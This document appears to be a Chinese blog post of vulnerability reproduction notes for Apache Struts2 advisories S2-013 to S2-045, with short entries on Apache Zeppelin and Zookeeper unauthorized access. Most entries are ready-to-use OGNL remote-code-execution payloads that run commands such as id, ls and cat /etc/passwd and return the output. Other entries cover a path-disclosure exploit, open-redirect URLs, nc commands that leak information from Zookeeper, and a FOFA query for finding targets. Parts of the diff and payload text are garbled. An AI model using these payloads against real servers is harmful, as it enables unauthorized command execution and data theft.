%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

bp抓包看回显。

Struts2 S2-013 URL和锚标记的includeParams属性中存在的远程命令执行漏洞 CVE-2013-1966

漏洞描述

S2-013 - Apache Struts 2 Wiki - Apache Software Foundation

struts的标签中s:as:url都有一个includeParams属性:

none	:	URL中不包含任何参数(默认)
get		:	仅包含URL中的GET参数
all		:	在URL中包含GET和POST参数

includeParams=all的时候,会将本次请求的GETPOST参数都放在URLGET参数上。 本来urldecode一下就能得到params,但strutsOGNL解析,造成了任意代码执行。

影响版本

Struts 2.0.0 ~ 2.3.14

漏洞复现

POC

http://<ip>:<port>/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27id%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

Struts2 S2-014 强制参数包含在URL和锚标记中引入的漏洞允许远程命令执行、会话访问操作及XSS攻击 CVE-2013-1966 CVE-2013-2115

漏洞描述

S2-014 - Apache Struts 2 Wiki - Apache Software Foundation

Struts<s:url><s:a>标签都包含includeParams属性,其值可设为nonegetall,含义如下:

none	:	链接不包含请求的任意参数值(默认)
get		:	链接只包含GET请求中的参数和值
all		:	链接包含GET和POST所有参数和值

包含特殊请求参数的请求可用来向堆栈注入任意OGNL代码,被用于URLA标签中的请求参数。当includeParams=all时,会将本次请求的GETPOST参数都放在URLGET参数上造成任意命令执行漏洞。

S2-014是对S2-013修复的加强,修复了S2-013代码中忽略的${ognl_exp} OGNL表达式的方式。

影响版本

Struts 2.0.0 ~ 2.3.14.1

漏洞复现

POC

http://<ip>:<port>/link.action?a=${(#_memberAccess["allowStaticMethodAccess"]=true,#[email protected]@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#[email protected]@getResponse().getWriter(),#out.println(#d),#out.close())}

http://<ip>:<port>/link.action?a=${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}

Struts2 S2-015 通配符匹配机制引入的漏洞或OGNL表达式的双重评估导致的远程命令执行漏洞 CVE-2013-2134 CVE-2013-2135

漏洞描述

S2-015 - Apache Struts 2 Wiki - Apache Software Foundation

Struts2允许在通配符的基础上定义动作映射,例:

<action name="*" class="example.ExampleSupport">
    <result>/example/{1}.jsp</result>
</action>

如果一个请求不匹配任何已定义当作,则将被*匹配,请求的动作名将用于被加载基于动作名的JSP文件。

影响版本

Struts 2.0.0 ~ 2.3.14.2

漏洞复现

POC

http://<ip>:<port>/example/%25%7B1%2B1%7D.action

Message/2.jsp

%24%7B%23context%5B%27xwork%2EMethodAccessor%2EdenyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23%5FmemberAccess%2EgetClass%28%29%2EgetDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m%2EsetAccessible%28true%29%2C%23m%2Eset%28%23%5FmemberAccess%2Ctrue%29%2C%23q%3D%40org%2Eapache%2Ecommons%2Eio%2EIOUtils%40toString%28%40java%2Elang%2ERuntime%40getRuntime%28%29%2Eexec%28%27id%27%29%2EgetInputStream%28%29%29%2C%23q%7D%2Eaction

执行id命令,Message处为执行结果。

Struts2 S2-016 通过操作前缀action:redirect:redirectAction:参数造成远程命令执行漏洞 CVE-2013-2251

漏洞描述

S2-016 - Apache Struts 2 Wiki - Apache Software Foundation

DefaultActionMapper类支持以action:redirect:redirectAction:作为导航或重定向前缀,但这些后缀后面同时可以跟OGNL表达式,Struts2并未对这些前缀做过滤,导致利用OGNL表达式调用Java静态方法执行任意系统命令。

简而言之就是:在对特殊URL处理中,redirectredirecrAction后跟上OGNL表达式会被服务器执行。

影响版本

Struts 2.0.0 ~ 2.3.15

漏洞复现

POC

http://<ip>:<port>/index.action?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D

执行了id命令,结果回显在URL

redirect:%24%7b%23%61%3d%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%5b%5d%7b%27%6c%73%27%2c%27%2f%27%7d%29%29%2e%73%74%61%72%74%28%29%2c%23%62%3d%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%63%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%63%29%2c%23%65%3d%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%64%2e%72%65%61%64%28%23%65%29%2c%23%6d%61%74%74%3d%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%64%69%73%70%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%76%6c%65%74%52%65%73%70%6f%6e%73%65%27%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%70%72%69%6e%74%6c%6e%28%23%65%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%66%6c%75%73%68%28%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%63%6c%6f%73%65%28%29%7d

执行ls命令,结果以文件返回。

爆路径EXP

http://<ip>:<port>/index.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D

Struts2 S2-017 通过操作前缀redirect:redirectAction:参数引入漏洞允许打开重定向 CVE-2013-2248

漏洞描述

S2-017 - Apache Struts 2 Wiki - Apache Software Foundation

Struts2DeaultActionMapper曾支持一种短路导航状态改变的方法,即在参数前加redirect:redirectAction:,再加上想要跳转的目标表达式。本来这种机制的目的是方便把导航信息附加到表单中的按钮上,但可以很容易的用来重定向到任意位置。

影响版本

Struts 2.0.0 ~ 2.3.15

漏洞复现

POC

http://<ip>:<port>/showcase.action?redirect:http://oopsdc.tk/
http://<ip>:<oprt>/fileupload/upload.action?redirect:http://oopsdc.tk/
http://<ip>:<oprt>/modelDriven/modelDriven.action?redirectAction:http://oopsdc.tk/

Struts2 S2-018 访问控制漏洞

S2-018 - Apache Struts 2 Wiki - Apache Software Foundation

Struts2 S2-019 默认情况下禁用动态方法调用 CVE-2016-0785

漏洞描述

S2-019 - Apache Struts 2 Wiki - Apache Software Foundation

S2-019漏洞利用条件极为严格:

特殊代码、value值为空、可传参到value、可控制name

代码执行过程大致为如下:

先尝试获取value的值,若为空,则二次解释执行了name,且在执行前给name加上了%{},最终造成二次执行。

漏洞影响

Struts 2.0.0 ~ 2.3.24.1 (2.3.20.3除外)

漏洞复现

特殊代码如下:

<s:i18n name="%&#123#request.lan&#125">xxxxx</s:i18n>
<set var="%&#123#parameters.tang3&#125"/>

通过%{#}的方式获取用户输入标签属性,导致代码执行。之后的修复方式为直接过滤%{}形式的字符串OGNL解析。

//core/src/main/java/org/apache/struts2/components/Component.java
protected Object findValue(String expr, Class toType) {
    if (altSyntax() && toType == String.class) {
        if (altSyntax() && toType == String.class) {
-            return TextParserUtil.translateVariables('%', expr, stack);
+            if (ComponentUtils.containsExpression(expr)) {
+                return TextParserUtil.translateVariables('%', expr, stack);
+            } else {
+                return expr;
+            }
        } else {} else {
            expr = stripExpressionIfAlySyntax(expr);
            expr = stripExpressionIfAlySyntax(expr);


//core/src/main/java/org/apache/struts2/components/Component.java
+      * @param expr to treat as an expression
       * @return true if it is an expression
       * @return true if it is an expression
       */          */
-       public static boolean isExpression(Object value) {
+           public static boolean isExpression(String expr) {
-               String expr = value.toString();
               return expr.startsWith("%{") && expr.endsWith("}");
               return expr.startsWith("%{") && expr.endsWith("}");
           }
       }

+       public static boolean containsExpression(String expr) {
+           return expr.contains("%{") && expr.endsWith("}");
+       }

以上述代码为例,修改后的代码处理掉了非%{开头,}结尾的字符串进行OGNL解析的功能,举个例子:

bar%Ӑ+3},在修改之前的代码中2+3会被作为OGNL执行。而修改之后,这种形式就只会被当做字符串来返回。

审计方法就是查看是否存在以%{#}方式获取用户输入变量赋值给标签属性的代码写法。

测试代码:

<%@page import="java.util.HashSet"%>
<%@page contentType="text/html;charset=UTF-8" language="java"%>
<%@taglib prefix="s" uri="/struts-tags"%>
<html>
    <head>
        <title>Test JSP Page</title>
    </head>
    <body>
        <%request.setAttribute("a", "'),#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#[email protected]@getRuntime(),#a.exec('touch /tmp/th1s_1s_test'),new java.lang.String('");%>
        <s:i18n name="%&#123#request.lan&#125">xxxxx</s:i18n>
    </body>
</html>

URL

http://<ip>:<port>/index.jsp?a=1

生成tmp/th1s_1s_test

Struts2 S2-020 将Commons FileUpload升级到版本1.3.1(避免DoS攻击)并添加’class’以排除ParametersInterceptor中的params(避免ClassLoader操作)

S2-020 - Apache Struts 2 Wiki - Apache Software Foundation

Struts2 S2-021 改进ParametersInterceptor和CookieInterceptor中被排除的参数,以避免ClassLoader操作

S2-021 - Apache Struts 2 Wiki - Apache Software Foundation

Struts2 S2-022 在CookieInterceptor中扩展排除的params以避免操纵Struts的内部

S2-022 - Apache Struts 2 Wiki - Apache Software Foundation

Struts2 S2-023 可预测令牌生成值

S2-023 - Apache Struts 2 Wiki - Apache Software Foundation

Struts2 S2-024 错误的excludeParams覆盖DefaultExcludedPatternsChecker中的定义值

S2-024 - Apache Struts 2 Wiki - Apache Software Foundation

Struts2 S2-025 调试模式和公开的JSP文件中的跨站点脚本漏洞

S2-025 - Apache Struts 2 Wiki - Apache Software Foundation

Struts2 S2-026 特殊的可用于访问Struts内部的顶级对象

S2-026 - Apache Struts 2 Wiki - Apache Software Foundation

Struts2 S2-027 TextParseUtil.translateVariables未过滤恶意OGNL表达式

S2-027 - Apache Struts 2 Wiki - Apache Software Foundation

Struts2 S2-028 使用具有损坏的URLDecoder实现的JRE可能会导致基于Struts 2的Web应用程序中的XSS漏洞

S2-028 - Apache Struts 2 Wiki - Apache Software Foundation

Struts2 S2-029 在标记属性中对原始用户输入进行评估时,强制双OGNL评估可能导致远程代码执行

S2-029 - Apache Struts 2 Wiki - Apache Software Foundation

Struts2 S2-030 I18NInterceptor中可能的XSS漏洞

S2-030 - Apache Struts 2 Wiki - Apache Software Foundation

Struts2 S2-031 XSLTResult解析任意样式表漏洞

S2-031 - Apache Struts 2 Wiki - Apache Software Foundation

Struts2 S2-032 使用动态方法调试时,可通过前缀执行远程代码 CVE-2016-3081

漏洞描述

S2-032 - Apache Struts 2 Wiki - Apache Software Foundation

可使用mothod:Action前缀调用声明为publicd的函数,但在低版本中不会对name方法值做OGNL计算。

影响版本

Struts 2.3.20 ~ 2.3.28 (2.3.20.3、2.3.24.3除外)

漏洞复现

环境搭建:

gitclone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-012
docker-compose up -d

URL

http://<ip>:<port>/index.jsp

开启动态方法调用,使用?method:execute方法调用execute方法(struts2默认的action调用方法),在method后加上要执行的OGNL表达式即可执行任意代码。

POC

http://<ip>:<port>/index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id

http://<ip>:<port>/index.action?method:%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse()%2C%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D)%2C%23w%3D%23res.getWriter()%2C%23a%3Dnew%20java.util.Scanner(%40java.lang.Runtime%40getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.d%5B0%5D)%2C%23str%3D%23a.hasNext()%3F%23a.next()%3A%23parameters.dd%5B0%5D%2C%23w.print(%23str)%2C%23w.close()%2C%23request.toString&cmd=id&dd=%20&d=____A&encoding=UTF-8

回显id命令结果。

Struts2 S2-033 开启动态调试且使用REST插件时可导致远程代码执行

漏洞描述

S2-033 - Apache Struts 2 Wiki - Apache Software Foundation

当开启动态调试并同时使用Struts2 REST Plugin插件时,使用!操作符调用动态方法可能执行OGNL表达式,从而导致远程代码执行。

影响版本

Struts 2.3.20 ~ 2.3.28 (2.3.20.3、2.3.24.3除外)

漏洞复现

POC

%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23process%[email protected]@getRuntime%28%29.exec%28%23parameters.command[0]),%23ros%3D%[email protected]@getResponse%28%29.getOutputStream%28%29%29%[email protected]@copy%28%23process.getInputStream%28%29%2C%23ros%29%2C%23ros.flush%28%29,%23xx%3d123,%23xx.toString.json?&command=id

回显id命令结果。

Struts2 S2-034 OGNL缓存中毒导致的DoS漏洞

S2-034 - Apache Struts 2 Wiki - Apache Software Foundation

Struts2 S2-035 易出错的行动名称清理

S2-035 - Apache Struts 2 Wiki - Apache Software Foundation

Struts2 S2-036 在标签属性对原始用户输入进行评估时,强制双OGNL评估可能导致远程代码执行漏洞(类似S2-029)

S2-036 - Apache Struts 2 Wiki - Apache Software Foundation

Struts2 S2-037 使用REST插件时可实现远程代码执行

漏洞描述

S2-037 - Apache Struts 2 Wiki - Apache Software Foundation

S2-033类似,S2-037也是关于REST插件导致method变量被篡改造成的远程代码执行漏洞,S2-037也是在DefaultApplicationInvocation.javainvokeAction方法中没有对methodName参数进行校验,直接放到getValue方法中,从而造成OGNL表达式的注入。

影响版本

Struts 2.3.20 ~ 2.3.28.1(2.3.20.3、2.3.24.3除外)

漏洞复现

POC

/orders/4/%28%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%[email protected]@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=7556&command=id

回显id命令执行结果。

Struts2 S2-045 基于Jakarta Multipart解析器执行文件上载时可能的远程执行代码

漏洞描述

S2-045 - Apache Struts 2 Wiki - Apache Software Foundation

Struts使用的Jakarta解析文件上传请求包不当,当攻击者构造恶意Content-Type时,可能导致远程代码执行。

default.properties文件中,struts.multipart.parser的值有两个选择,分别是jakartapell(原本也有第三种选择cos)。其中,jakarta解析器是Struts2框架的标准组成部分,默认情况下被启动。

影响版本

Struts 2.3.5 ~ 2.3.31

Struts 2.5 ~ 2.5.10

Zeppelin 未授权任意命令执行漏洞

漏洞描述

Apache Zeppelin存在未授权用户访问命令执行接口,导致容易用户可执行恶意命令获取服务器权限。

影响版本

Apache Zeppelin

漏洞复现

FOFAicon_hash="960250052"

含有漏洞的页面能够通过页面创建一个新的匿名用户,创建之后即可执行任意命令。

Zookeeper 未授权访问漏洞 CVE-2014-085

漏洞描述

默认安装配置好的Zookeeper允许未授权访问,管理员未配置访问控制列表(ACL),导致攻击者可以在默认开放的2181端口下通过执行envi命令获得大量敏感信息(系统名称、java环境)导致任意用户可以在网络不受限的情况下进行未授权访问读取数据。

影响版本

Apache Zookeeper

复现思路

漏洞复现

Zookeeper默认开放2181端口,使用如下命令获取敏感信息:

echo envi | nc xxx.xxx.xxx.xxx 2181

1、stat:列出关于性能和连接的客户端的统计信息。
echo stat | ncat <ip> 2181

2、ruok:测试服务器是否运行在非错误状态。
echo ruok | ncat <ip> 2181

3、reqs:列出未完成的请求。
echo reqs | ncat <ip> 2181
  
4、envi:打印有关服务环境的详细信息。
echo envi | ncat <ip> 2181
  
5、dump:列出未完成的会话和临时节点。
echo dump | ncat <ip> 2181

文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。